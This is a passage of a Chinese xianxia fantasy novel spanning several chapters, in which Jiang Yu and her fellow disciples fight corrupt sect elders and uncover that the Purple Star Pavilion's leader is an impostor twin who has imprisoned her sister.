只见她掌中灵力猛地收紧,沈晚宁她们二人周身围困于瘴气之中喘不过气来,她道:“既然这样贪心,那就都别活!”
踌躇不决之际,姜瑜无声的对裴恒之使了个眼色,她朝他微微摇了摇头。
此时她的右手没被刘苏叶牵制着,手中悄然捻起法诀,身侧枯木杂草的自然之灵便随着法诀缓缓聚于紫流笛中。
紧接着刘苏叶身后便传来一声抽泣声,姜瑜吸了吸鼻子,开口时略带一抹哭腔:“裴师兄你究竟在犹豫什么,明明往年都是我陪在你身边的。”
“沈晚宁,她、她与你只不过是相识寥寥数月而已!”
“你为何要犹豫,为何不选择救我?”姜瑜说罢还不忘将另一只手从刘苏叶掌中用力抽取出来,装模做样的摸了摸脸上的泪水,
“沈晚宁早在青冥宗的时候就该死了,不是吗?”
随着姜瑜的一声声质问,刘苏叶的注意力随之被她吸引而去,她扭头看着身侧的姜瑜。
“刘苏叶,那你将姜师妹还我,至于沈晚宁,她将任你处置。”裴恒之顺着姜瑜往下说道,只是话音刚落时,沈晚宁抬头微愣在原地。
“不够聪明啊。”刘苏叶摇摇头,手中掌风再聚,话锋一转,“那我偏不如你意。”
一阵掌风只一刹那间推向身侧的姜瑜,而她此刻手中的灵力也刚好聚合完成,紫流笛在空中迅速旋了几圈,挡于身前。
与此同时,裴恒之手中法诀蓄势待发,飞身上前的同时手中佩剑也先一步直指刘苏叶。
刘苏叶见状不妙,旋即撇向身侧依旧动用不了半分灵力的沈晚宁。
在她动手的前一刻,姜瑜足间一点,借着悬于空中的紫流笛一力,翻身越过刘苏叶,袖中符纸顺势而发,骤然挡在沈晚宁身前。
与此同时,裴恒之的剑气也随之敢来,不做犹豫,直直穿过刘苏叶心口一侧。
刘苏叶闷哼一声,猛地吐出大口鲜血,那抹鲜红恰好被姜瑜的符罩挡了下来。
一时间丹田内疠
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气四泄,灵力也为了护住她一方静脉性命瞬时争先涌向心口。
刘苏叶不可置信的缓缓底下头,看向自己被一穿而过的心口,她嘴中还不断涌着血水。
裴恒之抬剑穿心时故意偏了一寸,刘苏叶身为一方长老,他还不想把事情闹的过于难堪。
他收力时猛地拔回剑,又是一道血迹喷涌出来,刘苏叶吃痛连忙用手捂住,只听裴恒之开口问道:
“想必南竹那上百条尸骨,跟刘长老也脱不了关系吧。”
刘苏叶闻言突然笑了,随着她的笑意身上的血迹也不断晕开,慢慢浸染了衣襟。
姜瑜将沈晚宁护在身后,只见她面目狰狞,脸上逐渐笑得猖狂,随后直接将手从伤口处拿开,任由鲜血流淌。
“老身行坐紫星阁长老这么些年,哪个人不说我尽职尽责,恪尽职守。”刘苏叶觉得好笑,她猛地转头瞪向裴恒之,随后将目光落在姜瑜的脸上,才反问道,
“居然会有人说我残伤无辜?”
说罢,沈晚宁眼神闪过一丝杀意,抬起满手染了血迹的双手就冲姜瑜走去…
没人会想到她都伤的如此严重了,居然还想着杀姜瑜。
事发突然,不远处一道锐利的符纸如同刀片般,擦过姜瑜的发丝,瞬间划过刘苏叶的手指,硬生将她的手指切下一半。
刘苏叶痛的惨叫一声,声音穿透整个山崖,传来荡荡回声。
姜瑜顺着符纸飞来的方向看去,只见少年一席暖色衣襟上也染了几抹红晕,如绽放开的红色花瓣,格外耀眼夺目。
他脸上挂着笑,手中还漫不经心的把玩着几张黄色符纸,面迎着晨光,甚至脸上的血痕也裹上了几层暖意,此刻正朝着他们的方向赶来。
四目相对时,尽管其他人也朝他看了过去,但应不妄的目光始终盯着不远处浑身沾满了血渍的少女。
姜瑜微微挑眉,她先一步移开目光,看向痛晕在地的刘苏叶,正要思索接下来要怎么处理时,应不妄手中握着剑,他先一步走到她身侧。
衣襟相相擦过,传来一抹暖意,无望剑的剑尖直指地上的刘苏叶。
应不妄将灵力不动声色的聚于剑锋处,还没来得及刺向她,一股灵力从天而降,打偏了他手中的攻势。
一抹素白随之映入一众人的目光之中,那人身着白色帽兜,阳光撒在她头顶在她上半张脸上遮起一抹阴影,几近熟悉的声音从姜瑜耳边传来:
“是本尊素日里疏于管教,才给了刘长老冒犯诸位的机会。”那人说罢,旋即微微欠身作揖道,“烦请诸位晚辈们的原谅,绕她一命。”
裴恒之上前一步,问道:“阁下可是紫星阁罗掌门?”
“正是在下。”罗淮阳说道,话语间她似是撇到了裴恒之身后的姜瑜,微微怔身片刻,旋即问道,
“不知你身后的姑娘可是姜远山的...”话说到此,她顿了顿才补充,“若如有冒犯,姑娘莫要见谅。”
姜瑜微微摇了摇头,刚要上前走几步时却被身侧的应不妄一把拉住了袖口,她回头看去,朝少年笑了笑,没再动弹,只接话道:
“我确实是姜远山的女儿。”
42. 有谁能打过她吗
“莫非刘长老先前并未同您说过此事?”姜瑜唇边微微弯着,她礼貌向不远处的罗淮阳问去。
罗淮阳近身走了两步,解释道:“往前本尊潜于修炼,自武道会比起,还未抽空与刘长老叙过。”
姜瑜握紧了拳头,她死死盯着眼前瞧辨不出真容的罗淮阳,嘴边依旧挂着笑意:“原是这样啊。”
罗淮阳在撒谎,武道会比前些天刘苏叶第一次找她的时候,当时在凝雪苑撞见的就是她。
姜瑜不会记错。
现如今沈晚宁身体虚弱,甚至连话都说不出口,应不妄面上不显但姜瑜也知道他保准是受了重伤,至于她和裴恒之...
他们两人加起来,根本不是罗淮阳的对手。
若是这样,那罗淮阳的这番话,分明是在试探,她在试探姜瑜究竟还记不记得,亦或是她在提醒姜瑜,究竟是想保大家一时的命,还是直接破罐子破摔都死在这儿。
毕竟不管是出于什么原因,她们想杀的,自始至终就只有姜瑜她一人。
姜瑜笑笑,她随后拉起身旁的沈晚宁和应不妄两人,一左一右向前走去,裴恒之虽不明所以,但也紧随其后,路过罗淮阳时,她故意慢了几分:
“那这里的烂摊子就劳烦罗长老收拾好了。”
罗淮阳微微点了点头,没再多有言语,只是藏在帽兜阴影下的嘴唇处微微弯起了一抹弧度。
*
回到听雨苑时,这里已然是一片狼藉,紫星阁一众弟子都早已撤去,只余常远独自一人坐于木制台阶前,双手撑着头,望着院口发呆。
当眼前映入姜瑜一行人时,他顿了片刻才反应过来,忙起身小跑过去,一把扯过姜瑜的胳膊,焦急的问道:
“当时情况危急,我也没来得及问你身上哪里来的这么些血渍。”
姜瑜吞了吞,她此刻身心俱疲半分话都不想讲出口,只见她还未来得及开口说话,常远握在姜瑜胳膊上的手却被她身旁的应不妄一把拍开。
他掀了掀眼皮,也懒得跟常远解释,刚要拉起姜瑜的手腕往屋内走时,却被常远一声惊呼阵的清醒了几分:
“天!应不妄你身上咋也这么多血!?”
姜瑜顺势抬起手腕堵住自己的一边耳朵,应不妄被他喊的半分耐心全无,他轻声啧了一声,才不耐烦的超常远说道:“你非得现在问个明白是吗?”
常远这才反应过来,他看向他们身后的两人——裴恒之扶着沈晚宁,少女满脸虚弱几近是硬挺着身子才不倒下的样子。
常远又是一阵惊呼,这次姜瑜事先有防备,她捂着捂在耳边的手并未放下。
常远连忙侧身让出一条路,双手顺势搭在应不妄胳腕下,才说道:“快快快,都进屋。”
应不妄皱着眉一把将手从常远手中扯过,咬着字说道:“不用你,我自己会走。”
常远听后先是一顿,随后绕了个圈,绕过应不妄走到姜瑜身侧,手还未伸出去,却一把落了空——
应不妄眼疾手快将姜瑜一把扯到自己另一侧,只见他冲常远弯了弯唇角,才道:“我觉得还是常少侠扶着我,走的比较稳当些。”
常远一听,眼眸深处旋即亮了几分,他忙向前抬手重新又扶起应不妄来。
被应不妄猛地拽向一旁的姜瑜手腕间依旧被他紧紧握着,不同以往,这次应不妄的手貌似比往前要暖上不少。
可她不知道的是,此时的应不妄丹田内的灵力正在不断输送至他的手掌中,这才外泄出一份暖意。
在场的几人中,除了裴恒之并未受到很重的伤外,其余三人受的伤不相上下。
尤其是沈晚宁,她在毫无灵力护体的情况下,硬生挨了刘苏叶一掌,至今昏睡不醒。
姜瑜这会才得空换了一套整净的淡绿色纱裙,顶上墨发也才刚洗净,此时尽数披在肩侧。
这会已是正午,一股暖风随着屋门被外推开悄然将她的发丝微微吹起。
姜瑜眼都没抬,自顾自的做在木制圆桌上,她此时手中刚好拿起桌上的茶壶杯中倒着。
应不妄前脚刚要抬进屋内,却听她开口说道:“师弟现在竟连门都不敲了吗?”
他这才抬眼看向屋内披散着墨发的姜瑜,眼中神色微顿,旋即收回前脚默默退了回去,顺手将屋门关了去。
姜瑜浅抿了一口才烧好的热茶,茶杯才刚放回桌上发出一道轻响,就听屋外一阵扣门声而起,紧接着便是少年熟悉的声音传来:“师姐。”
话毕,她的唇边恰合时宜的扯起一抹笑意,她这才转头看向屋门的方向才应道:“进来吧。”
屋门再度被人从外推开,外头耀眼的光芒与屋内的稍稍昏暗形成了对比,在姜瑜的视角内——
少年背驰着光,他身形如往常,头上系着一条深蓝色发带,马尾高高竖起,额前的碎发随着开门的动作在空中晃了晃。
他没将门带上,只是缓缓走至姜瑜身前,低着头看向坐在木凳上的少女,只微微开口问道:“师姐将自己闷在屋内做什么?”
“你找我是有什么事吗?”姜瑜扭过头不去看他,一只手垂放在膝前,另一只缓缓抬至桌面上虚握着泛着暖意的茶杯。
从应不妄站着的方向看去,只能撇见姜瑜一头乌墨色的长发披散于肩侧,长睫在昏暗的光线内依稀可见的颤了颤。
他盯着看走了神,直到姜瑜抬头看向他时,这才反应归来连忙错开了眼神,耳尖也瞬间染起了一抹红晕:“没什么事。”
“没事你可不会闲的来找我。”姜瑜摸着茶杯内渐凉的温度,又自顾自的从茶壶内倒了一杯,这次她没往自己嘴里送,转身递给身侧的应不妄。
见应不妄还愣在原地,她微微抬了抬眉朝他点了点,应不妄这才从她手中接过,温热的触感透过茶杯转给了他本就冰凉的手。
他这才顺势坐到姜瑜身旁,看向她开口说道:“师姐难道就没想过怀疑罗淮阳吗,她...”
“想过。”应不妄话说一半,被姜瑜一记轻语打断,她掀了掀眼皮,长睫在空中颤了颤,“但我们之中,有谁能打过她吗?”
“此时跟她作对,与我们而言不过是百害而无一利。”
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空气中静默了一瞬,姜瑜率先抬起一根手指,在应不妄眼前晃了晃,方才脸上毫无情绪的少女此时扬起了一抹的意的笑,她话锋一转,才说道:
“不过方才回到听雨苑后我就传讯给了师父,想必不出一日,他老人家就带救兵来了。”
“罗淮阳她身为四大宗门之一的掌门,我们终究不会、也不能拿她怎么样,那我们打不起还跑不起吗?”
“等回到了我们的地盘,你看她还敢不敢打我的注意。”
姜瑜絮絮叨叨的说道,手指还时不时的在空中晃着,应不妄低垂着眼帘,单手捏着的茶杯这才得空喝了两口,再开口时只听他道:“那师姐考虑的还挺全面。”
现下他们四人中至少有三个人都身负重伤,方才回到听雨苑的时候便听常远说了——
罗淮阳在此之前早就将其余参加武道会比、住在听风苑的修者都放了回去,当然其中也包括当日的所有青冥宗内门弟子。
可唯独没有说要让他们几人离开的意思,现下紫流笛在姜瑜手中,她却也没有要向她要回的意思。
“师姐。”应不妄淡淡的喊了她一声,这才让姜瑜的思绪拉了回来,他手中灵力缠绕时骤然显现出一道熟悉的符纸与她眼前,“在此之前罗淮阳难免也会有所动作。”
应不妄抬手将符纸送到姜瑜垂在桌下的手中,旋即说道:“这张符纸你拿着,跟上次一样。”
“如遇危险,撕掉它。”
姜瑜看向自己手掌中才被放上去的黄色符纸,微微挑了挑眉,眼中也随之染上一抹笑意,她问道:“你就这么肯定是我先出事啊?”
“有的时候我是真的分不清你是真的想救我,还是真的在咒我。”她嘴边虽开着玩笑,但手中却早已收紧了那枚符纸,将其塞回自己的锦囊之中。
应不妄听这话被气笑,他修白细长的手指见势就要去腰间将姜瑜的锦囊取来,却被对方连忙用双手护住,只听她再度开口道:“哎!你别动,说好了给我的。”
他伸出去半道的手又缩了回来,期间屋门处一阵微风骤然袭来,姜瑜肩间的墨发顺着微风拂过,悄然的攀上了他的手上,一阵酥痒的感觉自指间传来。
只一瞬间,这道触觉旋即传遍了应不妄全身,他慌忙的收回自己的手,一时间耳朵上又泛起了一抹绯红,那抹红意顺势攀上了自己的脸颊。
姜瑜盯着他的脸发出了自己的疑问:“很热吗?”
她问完又自顾自的否定道:“不该啊,这屋内当是又好些天没晒过阳了,才一会功夫就热了吗?”
应不妄单手猛地往桌上一拍,与此同时他也跟着响声站起神来:“师姐此前伤的不轻,你好生休息,我先不打扰了。”
说罢就自顾自的往屋门外走去,动作连贯一气呵成,根本没等姜瑜反应的机会,转瞬间那道身影就消失于门前,就连屋门都没来得及关上。
姜瑜无奈叹了口气,双手撑起膝盖起身,这才走至屋门前将双手搭在两扇门上,还未来的及将其关上,又是一阵风吹过,待她看清后,瞬间愣在原地。
43. 桑竹月
只见一道微风随之袭来,将院内的花草吹的沙沙作响,紧接着便是一道灵力直冲屋内,姜瑜反应极快,微微侧身躲过,只一瞬院内旋即恢复往常。
她身前骤然游落出一道符纸,悬于空中。
姜瑜皱着眉,先不说这紫星阁内懂得符咒之术的人屈指可数,就连青冥宗内特有的符纸悬,竟也被人复制的别无二致。
她催动灵力注入传讯符的同时,院内不远处一道携着怒气的声音传来,赵清砚手中握着长剑瞬间移至身前:“姜瑜你找死!”
姜瑜没来得及去听传讯符中到底说了什么,情急之下一道剑气向她直直砍来,她侧翻躲过,才刚站稳就见赵清砚再度抬剑朝自己而来。
她不得已后退两步,手中随意从一旁拿起瓷杯就朝着对方扔去,赵清砚将姜瑜投去的瓷杯在空中斩断,杯身被切成两半,落在地上飞溅成一道道小碎片。
“赵清砚你又犯什么病?”姜瑜催动灵力的同时,紫流笛顺势飞至她手中幻成一柄长剑,她脚下一个划腿将对方的剑气瞬间格挡于身前。
赵清砚冷哼一声,她此前受的伤倒也不轻,此刻被姜瑜的剑气振了一下,丹田内顺势翻涌而上,嘴角边陡然吐出一抹鲜血,她开口道:
“你将我师父伤的那样重,我为何不能来找你算账?”
姜瑜一听这话瞬间了然,她面上皱着眉向赵清砚问道:“你倒成了重情重义之人了,怎么不说是你们先要杀我在先,我将你们打伤在后啊?”
“我杀了你!”赵清砚不管姜瑜细说了什么,只顾着再次提剑而起,朝她的方向袭去。
姜瑜见状也不惯着,她侧头一仰躲过对方的攻势之后,以剑撑地翻转一遭,手中顿时聚灵起咒,咒术刚起之时四面皆由细线连接。
只瞬间屋内四角已成阵形,随着姜瑜指尖灵气流动,那道阵法陡然收紧,她面上轻扯笑意,看向站在她身前动弹不得的赵清砚,这才说道:“熟悉吗?”
“这可是你在武道会比出尽风头的阵法,你莫非不知道该如何破解?”
阵内只有赵清砚一人,她忙着应对阵法袭来的攻势,期间还不忘嘴贫问道:“你怎会单人起阵?”
姜瑜慢悠悠的将桌前的木凳从桌下拉出,悠然的坐了上去,姿态优雅。
她望向阵法内自顾不暇的赵清砚,还不忘补充道:“你真以为上次能伤到我是你的本事啊?”
“上次我不过是没了灵力,”姜瑜拍拍袖间方才因打斗而落上前的灰烬。
她低垂着眼没再去看阵中的赵清砚,再开口时带了几分漫不经心,她感叹道,“今时不同往日啊——”
话音刚落,她似是突然想到了什么,手掌微抬,手心中顺势悬出方才那道黄色传讯符纸。
姜瑜指尖催动灵力,符纸应势而动,符内的声音也再度袭来:“你不是想知道掌中孙武的下落吗?”
“来找我,我告诉你啊。”
余音刚落,那道符纸应势化作一块冰晶玉露的石块直直落到她手中,随着她的灵力涌入,虚空中显出一道由灵力化作的细绳。
那细绳牵着那块石块,顺着这股灵力,指引着无尽的方向。
姜瑜眨了眨眼睛,犹豫片刻她看向面前困在阵法中的赵清砚,手中顺势变幻出一张符纸,只片刻就消失于屋内。
*
姜瑜顺着那条灵线出了听雨苑后一直往南走,行至紫星阁殿院内时,直至先前那个密室门前便停了脚步。
她抬手在门前虚顿了顿,捂紧了腰间绣花锦囊才用力往前推去,屋门如往常一样没有被锁,轻而易举的就被她从外推开了。
屋内依旧漆黑一片,姜瑜这次并未将屋门虚关上,此时也当正午,阳光不合时宜的散进屋内,她顺着这道光再度摸到了洞口。
她望着那条灵力所牵的灵线,脚下犹豫片刻——
她记得先前在洞内灵力被法禁锢着,危在旦夕之际是洞内一道灵力将那道无灵阵硬生震碎的。
这么说,这条灵线多少跟那道洞口有点关系。
姜瑜前脚刚要抬脚走进洞内,骤然一道无形阵法如存于虚无之中,瞬间斗转空间,她脚下一个落空,眨眼间周遭皆变换了一番景致。
而在洞口处,因空间转换迅速,她先前一个没注意腰间锦囊瞬间抖至地上,囊内的符纸被摔了出来,擦扯掉一道极小的裂口,涣散出一抹极小的灵气。
姜瑜指尖运算着灵力这才堪堪稳住身型,再抬眼时周遭一片黑寂,她警惕的从手中变幻出灵力长剑看向周遭。
紧接着随着她手中咒诀而起,莹莹暖光瞬间照亮周遭,再看向手掌中石块所牵制的灵线,陡然抬脚往前探去。
脚步声在黑际的洞内传来阵阵回响,姜瑜小心翼翼的靠着一丝光亮往前探去,突然一阵铁链的碰撞声从洞中晃开,与她的脚步形成一道独一唯二的声音。
她脚下微顿,才试探性朝远方暗处开口问道:“有人吗?”
“孙武?”
无人回应。
姜瑜顿了顿刚要再往前走时,一阵冷哼声随之袭来,紧接着便是一道沙哑至极的声音从数丈远处穿来:“这次又是什么新花样?”
这声音很是熟悉,又因几度的沙哑,一时间倒是让姜瑜也没想起来在哪听过。
她顺着光线往前探了几步,紧接着脚下便是一摊污水,鞋底踩过水渍再度发出荡荡的水流回声,那抹由咒术而成的暖光又往前探了探,这才让她看清前侧——
一位浑身血肉模糊,身上没有一块好肉的女人披散着头发,四肢被铁链锁着,那铁链上似还有某种灵力在刻意压制着她的修为能力。
而且...她怎么越瞧越眼熟。
“罗掌门?”姜瑜几乎是惊叹出声,她没有把握好声度,这道回声在洞内荡了又荡。
女人禁闭着的双眼这才舍得睁开眼看向姜瑜,顺着一层暖光映照在少女的脸上,她仔细看了看,几近同时她亦是惊叹出声:“竹月?!”
沙哑的声音叫喊起来格外刺耳难听,在洞中回荡起来,倒差点让姜瑜没忍住去捂住耳朵。
姜瑜小小的脸
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上眉毛拧成一团,随后她试探性开口问道:“竹月是谁啊?”
“你不是竹月,你是谁?”女人瞬间警惕起来,她颤动着手,浑身散发着寒意,质问道。
“看来你也不是罗掌门。”姜瑜顺势接话。
话音刚落,只听一阵拍手声从姜瑜身后传来,她微微侧了侧头借着薄薄微光方才能看清来人——
又一个罗淮阳。
“她当然不是罗掌门。”只见后来的这位“罗淮阳”轻抬脚步缓慢走至被栓住的女人身前,她擦过一地的污水,根本没管那些被浸湿了的衣摆,自顾自的抚上女人的下巴。
“罗淮阳”手上稍稍用了几分力道,指尖狠狠掐住女人的下巴,生要嵌进皮肉中,只听她恶狠狠的说道:“毕竟如今我才是当今四大宗门之一,紫星阁的掌门。”
“而你,”她脸上露出一抹狰狞的笑意,得意般的续而说道,“我的好姐姐,将永远禁于这暗无天日的牢笼之中,活在阴暗无光的日子里,直至死去!”
“罗淮阳”越说越激动,最后她的双眼死死盯着面前这位蓬头垢面的女人,活要看出她的一份哪怕一丝的惧意。
姜瑜站在原地看着眼前以姐妹相称的两人,难免心存疑惑之际,“罗淮阳”像是突然想到了什么,她转头看向姜瑜,面上笑意不减:“竹月,桑竹月,瑜儿不记得吗?”
姜瑜被她这一番问的一头雾水,紧接着便听她续而自顾自的说道:“也难怪你不认识。”
“那贱人都死了多少年了?!”
“姜远山竟还惦记着她!!”
姜瑜看着她始终沉默。
姜远山她认识,是原主的爹。
照这么说...那桑竹月就是她娘?
被铁索禁着的女人听到这,面上这才稍有情绪,她用着紧有的一股力道抬头扫向姜瑜,这才问道:
“她是桑竹月的女儿?”
“罗淮月!你告诉我她是不是姜远山的女儿?!”
被叫做罗淮月的女人这才转头看回浑身血渍的女人,她脸上布满了从容得意:
“是。”
“她是桑竹月的女儿。”
“因为她是桑竹月的女儿,所以我将她带到此处陪着你,阿姐觉得我这个想法如何呢?”
“你疯了!?”女人看向她,手上稍一用力,铁链处便就传来一阵撕心的痛楚,她忍着没痛出声,再度质问道,
“我们之间的恩怨,你拉上她做什么!?”
“紫星阁的掌门已经是你的了!”
罗淮月长袖一挥,也朝着女人喊道:“你知道我要的从来都不只是紫星阁的掌门一职!”
罗淮月吼完一声这才镇定下来,她手腕微颤,手指渐渐抬起来,虚指着姜瑜的方向,问道:“凭什么他们可以有孩子?”
“凭什么姜远山就可以将我们之间的情义放任不管,潇洒离去去跟别的女人有了一个孩子?!”
“我就是要她死!”
“我要她死,我还要让她的孩子跟她一同下地狱!!”
44. 为妻寻药
*
十几年前。
“不行!”罗淮阳将茶杯往桌案上一摔,发出一道声响,“月儿你要适可而止,我南原大千弟子,你中意谁都可以,万不能对他起了歪心思。”
“凭什么?!”罗淮月手掌落在桌上猛地一拍,她站起身来质问道,“姜少侠于我有救命之恩,又颇有大侠风骨,阿姐为何不许我钟情于他?”
罗淮阳被气的深吸了两口气,犹豫一番后她张了张嘴,将头扭到一旁不去看她,这才赌气道:“总之就是不许。”
罗淮月这会已站在堂中,她看着端坐在堂前的胞姐,心中一横,难听的怨恨话就先一步从嘴里说出:
“阿姐面上说的好听,我看分明是你也钟情与他,不过是不想将他让与我手中罢了,别以为我不知道你那点心思。”
罗淮月话音刚落,也不管屋内被她这番话气的满脸铁青的罗淮阳是何种模样,她转身便往屋外走去,离开时还不忘自顾自的嘟囔补充道:
“反正不管阿月看上的什么东西,阿姐都要与我争抢。”
罗淮阳盯着妹妹离去的背影,沉思良久,身为紫星阁新任掌门,她又何尝没有自己的苦衷。
她摇了摇头,无奈的叹了口气,这才将桌案上的茶杯再度举起于眼前,她细细端详片刻——
瓷杯上的游龙杯画铸的生龙活虎,但再好的瓷器终究也兜不住将要凉透了的茶。
一口凉茶入喉,罗淮阳这才醒过几分神气。
她们二人原是一胞同生,妹妹的灵力在娘胎中就被她这个姐姐汲取了去。
以至于罗淮阳自小便身觉对罗淮月有所亏欠,便一直刻苦修行,以己方强大的修为来维护并娇纵着她,倒让她成了惯常的跋扈性格。
而罗淮月依旧在筑基前期停滞不前,以先天残缺灵根的情况来讲,即便再过努力的修炼也不显进度,更何况她打小就从未真正努力的去修习过。
以至于时间过的久了,罗淮阳都以为她的妹妹将要把这份哀怨埋了进去。
但她终究是忽略了罗淮月的感受。
忽略了从小到大罗淮月所面对的,包括但不限于无数外人对她这个残废灵根妹妹的指指点点。
那时的罗淮月亦不知道,早在她认识姜远山之前,小姜瑜就已经出生了。
而之所以有机会能从南原认识并结交到这位少侠,完全是因为这位所谓的姜少侠,来到南原,为的是给爱妻寻药。
*
“所以在我爹走后,你就将一切都怪罪到罗掌门身上?”姜瑜觉得好笑,她转头看向面前的罗淮月问道。
“她不配当掌门!”罗淮月恶狠狠的瞪向姜瑜,补充道,
“是她把我的一切都夺走了,没有她我早就成了掌门,我早就成了姜远山的道侣,哪里还有你姜瑜在此与我叫嚣?”
“疯子。”姜瑜嘴里嘟囔道。
罗淮月没管姜瑜说了什么,只想自顾自的把一切都抖落出来,与仅在场的两人炫耀她周密无缝的计划,她话锋一转得意道:“你不是想知道孙武的下落吗?”
姜瑜听到这,手中陡然收紧了双拳,她看向眼前这位与原印象中大相径庭的女人,只听她突然笑了笑,续而说道:
“他死了。”
“你还记得在无灵阵内见过的千百个头颅吗?”
“或许那里面有他的。”
“你要不要去找一找,然后抱着一块碎骨头去跟他娘说啊,你跟他娘说,瞧,这就是你的宝贝儿子。”
罗淮月说完旋即大笑,她的笑声尖锐刺耳,在漆黑的洞内回荡开来。
姜瑜听后手中拳头再度收紧,她借着这股微弱的暖光死死盯着面前这位疯女人,咬出的字一顿一顿,她朝女人问道:“你、说、什、么?”
“我说他死了!他为我的修为献身而死!他死的光荣,死得其所……”罗淮月话还未说完,空中那抹暖光骤然熄灭,必骤然黑夜先来的是脸上一阵痛楚。
罗淮月闷哼出声,她捂着自己脸上方才被眼前这位小姑娘一记拳头锤的紫青一块,嘴角处骤然流出一抹绯红。
不等罗淮月反应,姜瑜又是一记重拳,这拳头裹着灵力,力道之大,活生给罗淮月脸颊两侧都挂了彩。
罗淮月这才想起来反击,她掌中顺势聚起一道灵力朝少女心口直直击去,不留余力。
姜瑜被击的连连后退几步撞上身后那堵石墙,前后相撞夹击,迫使她五脏六腑内瞬间涌出鲜血,旋即喷涌而出。
她完全不是罗淮月的对手,手脚四肢被对方用灵力禁锢住,手中长剑也应势脱落在地发出一道声响。
紧接着一道道细细灵线顺着姜瑜的灵脉攀勇而上,发出微许荧光,不断汲取着她丹田内的灵力。
姜瑜喉间发不出声来,只能听对方从微光中走进,罗淮月随意的擦了擦方才被她两圈挥得青紫的脸庞,唇边还扯着一抹不怀好意的笑:“既然那么心疼他们,不如你也去陪他们如何啊?”
“没关系,很快,我就会将你的头颅挂在洞中最高的烛火外,俯看着他们每个逝去的人。”
罗淮月越说越亢奋,话语间只听黑暗深处一道冷哼声传入耳中,她这才反应过来的看向罗淮阳。
她整个人隐匿于暗中,开口时带有几分可悲:“说了这么多,你为何不问问她年芳几何?”
罗淮月听到这身型陡然顿住,手中隐感不好微微颤抖,她磕绊问道:“什、什么意思?”
“字面意思。”罗淮阳抬了抬眼,在听过方才两人对话之后,此时眼底只得堪堪流露出一抹悲怜之情,“不满妹妹说,当年你初次遇到姜远山时,他早已有了妻室。”
“不、”罗淮月陡然皱紧了眉毛,她声音一度度拔高,“不不不,不可能。”
话落,她陡然收回禁锢着姜瑜的灵力,快步上前,双手顺势搭上对方的双肩用力晃动,瞳孔骤然瞪大:“你年芳几何?”
姜瑜新伤填旧伤,此时浑身是内伤,这会被她这番一晃,胸间那道堵着的腥气瞬间翻涌而上,又是一口鲜血从嘴中涌出。
“你告诉我!你年芳几何?!”<
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p>姜瑜抬起胳腕,手掌间用力拭去脸上沾染的血渍,没有回话,只是她垂着眼帘让人从暗中瞧不出她的半分情绪。
反倒是被铁链所禁锢住的罗淮阳率先开口,这道声音极轻却刚好能够落入面前之人的耳中:“蠢。”
“你说什么?”罗淮月扭过头看向声音所发处,手上却依旧紧紧握着姜瑜的两侧肩膀,指尖潜入血肉,将原本不久才换好的干净衣襟瞬间再度染红了大片。
“姜远山当年怎么就救了你这么一个蠢东西。”罗淮阳重复道。
她这会开口声音依旧是沙哑的,又许是长年浸泡与污水之中,关押在这等寒凉之地长年不见有水,声音早已成了这般音色。
“当年没将他有妻室的事情告知与你,不过是我与远山有过承诺。”罗淮阳依旧哑着嗓子,又道,“他来南原不过是为桑竹月寻药,寻可以让他爱的道侣活下去的药。”
说完她再度冷哼一声,一字一顿嘲讽道:“为妻寻药,如此钟情不二的人,或许也没想过他会在寻药的路上碰到你这等烂桃花吧。”
这会罗淮月到先不镇定了,她一把放过姜瑜的两侧肩,几步上前,踏过洞内这遭污水,揪住罗淮阳所剩无几的衣领,怒声质问道:“你喊谁烂桃花?!”
“你别以为我不知道你对姜远山的心思!”
“休要拿这种事来刺激我!!”
罗淮月话音刚落,一道骤光自漆黑的洞中穿过,如风中骤刺的利器,速度之快,擦过姜瑜散落的发丝,直直刺入罗淮月的后背。
在那抹光亮到来之时,姜瑜恰好抬头,这才望向了不远处站着的四人,他们手中各拿着佩剑,气势汹汹。
只有那抹最为熟悉的身型之人手中虚握着几道符纸。
那是她的师兄弟妹们,还有她的...师父?
姜瑜喉间微哑,这瞬间的光亮之中,她的眼眸也在看清来人的这一瞬亮了几分。
她嘴唇微动,想喊出声时,才发觉自己自从被罗淮月抽了灵力之后,便早已没了喊出声来的力道。
应不妄几乎是瞬身至姜瑜身旁,他连忙抬手扶住近乎倒下的姜瑜,在侧头看向罗淮月时眼底不觉间已然泛起一丝杀意。
后面三人小跑近身,苍梧留着一手白胡,像他这样素日里总爱笑的小老头,此时见到了姜瑜的状况,面上也紧紧皱起眉头。
旋即只见他冷嘲热讽道:“我家爱徒究竟与罗掌门有何恩怨,竟还要劳烦你亲自动手。”
“她不是罗掌门。”姜瑜此刻全身泄了力,虚靠在应不妄身侧,哑着嗓子的同时忍者声带的痛楚才解释道。
一旁的沈晚宁见状连忙小跑至她的另一侧,手上顺势微扶着她。
苍梧这才转头看向姜瑜,面上满脸心疼,不由得由心脱口而出:“哎呦我的乖徒儿啊,你有何急事不能等师父来了一起解决,非得把自己伤成这副模样。”
苍梧絮絮叨叨的话语还未说完,罗淮月一记掌风挟持而来,她旋即从手中变幻出一个黑匣子:“既然这样,那就都来成为我的踏上石!”
45. 噬灵阵
罗淮月说罢便欺身向前,随着黑匣内的芸芸雾气环环相绕,紧接着便将他们团团围住,生生围成了一道雾墙,将他们困与其中。
苍梧先是看出其中破绽,皱着的眉头自始至终就未落下来,他面露讶意开口反问道:“噬灵阵?”
“师父,这个阵法有什么特别之处吗?”沈晚宁一只手搀扶着姜瑜,另一只手双指微微抬起,手中灵力应势而出,将那团团雾气生生格挡开来。
苍梧这才回过神来看向一旁情况不大妙的姜瑜,又看了看一旁若有所思的裴恒之。
随着他双手咒法应掌而出,才开口回道:“此乃九州禁术,是魔族人惯用的法阵,以吸人灵力经脉为所己用,直至将人吸干为止,这阵法方可无功自破。”
“吸人灵力?”沈晚宁听后手上运作的灵力又强了强,只听身旁的裴恒之回道,“这法阵邪门之处便是除了方向苍梧长老所说的破阵之法外,再无其他办法。”
多年前,赤剑宗裴氏一族,就是被这等魔阵所灭。
思及此,裴恒之手上握紧了拳头,眼底闪过一丝落寞,愤恨和不平此时正在侵占着他的情绪。
随后,他顺势抽出手中长剑,几番灵力注入之时,他将长剑抛于虚空之中,再顺着长剑落下时将自身灵力注入其中。
长剑应势插入地中半截,瞬间地面开始摇晃开来,随着四周灵力攀至周遭扩散,这才堪堪稳住阵法的成型速度。
应不妄眼底闪过一丝别样情绪,此时姜瑜浑身泄着力微靠着他,以至于此时的他无法完全施展开来,只得单手不断用着一道道符纸向四周分散而去。
罗淮月见状冷哼一声,捏起咒术时手中灵力再次聚于黑匣之中。
